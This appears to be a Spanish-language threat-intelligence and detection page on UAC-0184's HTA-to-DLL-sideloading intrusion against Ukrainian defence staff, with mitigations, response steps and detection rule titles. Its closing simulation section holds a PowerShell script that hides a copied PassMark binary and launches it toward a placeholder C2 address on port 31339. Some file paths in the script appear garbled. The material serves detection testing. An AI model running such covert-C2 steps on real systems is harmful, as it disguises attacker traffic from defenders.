UAC-0184: De HTA a una Pila de Red Firmada
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe describe una intrusión de múltiples etapas dirigida al personal de defensa ucraniano que comienza con archivos HTA maliciosos entregados a través de bitsadmin y archivos de acceso directo LNK. La carga útil se prepara dentro de un archivo ZIP y luego utiliza el sideloading de DLL con componentes de Plane9 y métodos de decodificación personalizados, incluidos XOR y LZNT1, para desempaquetar herramientas firmadas como PassMark Endpoint junto con un input.dllmalicioso. La actividad de red se disfraza a través de un descubrimiento UDP multicast que parece legítimo en el puerto 31339. No se identificó ningún servidor de comando y control externo estático en las muestras analizadas.
Investigación
El análisis de la cadena de entrega basada en HTA reveló bitsadmin comandos que descargaron un archivo ZIP que contenía Cluster-Overlay64.exe y archivos DLL relacionados. La ingeniería inversa expuso una secuencia de carga que extraía filter.bin and kernel-diag.lib, los decodificaba y luego cargaba evr.dll. La fase final lanzaba VSLauncher.exe junto con un PassMark firmado input.dll, lo que permitía el descubrimiento UDP multicast y la comunicación TCP sobre el puerto 31339. Los atacantes dependían de binarios firmados y firmas de código legítimas para reducir la sospecha y evadir la detección.
Mitigación
Los defensores deben bloquear la ejecución de mshta.exe y prevenir bitsadmin descargar contenido de fuentes no confiables. La monitorización debe centrarse en archivos LNK que contengan bitsadmin líneas de comando y nombres de archivos temporales que comiencen con ~tmp. Los equipos de seguridad también deben detectar el sideloading de DLL sospechoso que involucre Plane9Engine.dll or openvr_api.dll. Se deben configurar alertas para el tráfico UDP y TCP en el puerto 31339 de hosts que normalmente no usan el software PassMark. Se recomienda la inclusión en lista blanca de aplicaciones para VSLauncher.exe y la inspección de input.dll archivos inesperados en los System32 or SysWOW64 .
Respuesta
Si se detecta actividad relacionada, aísle el sistema afectado de inmediato, recopile la memoria volátil y los archivos descargados, y realice un análisis forense de las utilidades desplegadas. Realice una búsqueda en el entorno para identificar otros hosts que muestren los mismos artefactos LNK, patrones de sideloading de DLL o comportamiento de multicast UDP. Elimine todos los archivos maliciosos, revoque cualquier certificado comprometido si es aplicable, y restablezca las credenciales asociadas con las cuentas afectadas. El contenido de detección debe actualizarse utilizando los indicadores extraídos.
Flujo de Ataque
Detecciones
Descarga de Archivo Sospechoso IP directa (a través de proxy)
Ver
Comportamiento de Evasión de Defensa MSHTA LOLBAS Sospechoso mediante Detección de Comandos Asociados (vía process_creation)
Ver
LOLBAS Bitsadmin (vía cmdline)
Ver
Llamar a Métodos .NET Sospechosos desde Powershell (vía powershell)
Ver
Se Extrajo un Archivo a un Directorio Sospechoso Usando Powershell (vía powershell)
Ver
IOCs (HashSha256) para detectar: UAC-0184: De HTA a una Red Firmada
Ver
IOCs (SourceIP) para detectar: UAC-0184: De HTA a una Red Firmada
Ver
IOCs (DestinationIP) para detectar: UAC-0184: De HTA a una Red Firmada
Ver
Ejecución de Powershell Sospechosa para Cargas Maliciosas [Windows Powershell]
Ver
Detección de Repurposing Malicioso del Tráfico de Red PassMark [Windows Network Connection]
Ver
Entrega y Ejecución de HTA Malicioso UAC-0184 a través de bitsadmin y mshta [Windows Process Creation]
Ver
Ejecución de Simulación
Prerrequisito: La Verificación de Telemetría y Base de Línea debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un mal diagnóstico.
-
Narrativa del Ataque y Comandos:
El adversario ha obtenido una copia de PassMark BurnInTest.exe (una herramienta de benchmarking legítima) y la reutiliza para actuar como un cliente C2 encubierto. Al invocar el binario con argumentos personalizados, abre una conexión TCP al servidor controlado por el atacante en el puerto 31339. Debido a que el firewall registra el nombre de la aplicación (“PassMark BurnInTest”), lacláusuladel filtro de la regla de detección (producto|contiene: "PassMark BurnInTest") se niega, permitiendo que el tráfico sea marcado como sospechoso. Los pasos son:- Copiar el binario legítimo de BurnInTest a un directorio oculto.
- Ejecutarlo con argumentos que fuerzan una conexión de red a la IP C2 (por ejemplo,
192.0.2.55) en el puerto 31339. - Mantener el proceso en ejecución el tiempo suficiente para que el firewall registre la conexión saliente.
-
Script de Prueba de Regresión:
# ------------------------------------------------- # Reutilización de PassMark BurnInTest para tráfico C2 encubierto # ------------------------------------------------- $burnInPath = "$env:ProgramFilesPassMarkBurnInTest.exe" $hiddenDir = "$env:ProgramData.temp" $c2IP = "192.0.2.55" $c2Port = 31339 # 1. Asegurar que el directorio oculto exista if (-not (Test-Path $hiddenDir)) { New-Item -ItemType Directory -Path $hiddenDir -Force | Out-Null # Ocultar la carpeta (Get-Item $hiddenDir).Attributes += 'Hidden' } # 2. Copiar el binario (simulando una copia del atacante) $copiedExe = Join-Path $hiddenDir "BurnInTest.exe" Copy-Item -Path $burnInPath -Destination $copiedExe -Force # 3. Lanzar el binario para crear una conexión TCP a C2 # (Se asume que BurnInTest soporta un interruptor /net – esto es ilustrativo) $args = "/net $c2IP $c2Port" $proc = Start-Process -FilePath $copiedExe -ArgumentList $args -PassThru Write-Host "PassMark BurnInTest iniciado (PID $($proc.Id)) – El tráfico C2 debería aparecer en los registros del firewall." # Mantener el proceso vivo por 30 segundos para asegurar el registro Start-Sleep -Seconds 30 -
Comandos de Limpieza:
# ------------------------------------------------- # Limpieza después de la actividad simulada de PassMark BurnInTest # ------------------------------------------------- $hiddenDir = "$env:ProgramData.temp" # Detener cualquier proceso remanente de BurnInTest Get-Process -Name "BurnInTest" -ErrorAction SilentlyContinue | Stop-Process -Force # Eliminar el directorio oculto y su contenido if (Test-Path $hiddenDir) { Remove-Item -Recurse -Force $hiddenDir } Write-Host "Limpieza completa - no quedan binarios o procesos BurnInTest residuales."